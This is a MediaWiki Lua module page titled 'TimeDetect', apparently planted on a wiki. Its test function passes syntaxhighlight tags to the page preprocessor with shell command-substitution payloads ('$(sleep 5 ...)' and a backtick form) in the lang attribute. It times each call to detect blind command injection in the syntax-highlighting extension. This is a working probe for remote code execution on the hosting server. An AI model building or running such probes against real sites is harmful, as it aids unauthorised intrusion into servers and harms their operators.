模块:TimeDetect
可在模块:TimeDetect/doc创建此模块的帮助文档
local p = {}
function p.test(frame)
local parent = frame:getParent()
if not parent or not parent.preprocess then return "no_parent" end
local results = {}
-- Test with sleep command (if executed, will cause delay)
local test_payloads = {
{"baseline_nosleep", "<syntaxhighlight lang='python'>print(1)</syntaxhighlight>"},
{"sleep_cmdsub", "<syntaxhighlight lang='$(sleep 5 2>&1)'>print(1)</syntaxhighlight>"},
{"sleep_backtick", "<syntaxhighlight lang='`sleep 5 2>&1`'>print(1)</syntaxhighlight>"},
}
for _, tp in ipairs(test_payloads) do
local start_time = os.clock()
local ok, out = pcall(parent.preprocess, parent, tp[2])
local elapsed = os.clock() - start_time
results[#results+1] = tp[1] .. "=" .. string.format("%.2f", elapsed) .. "s"
end
return table.concat(results, " | ")
end
return p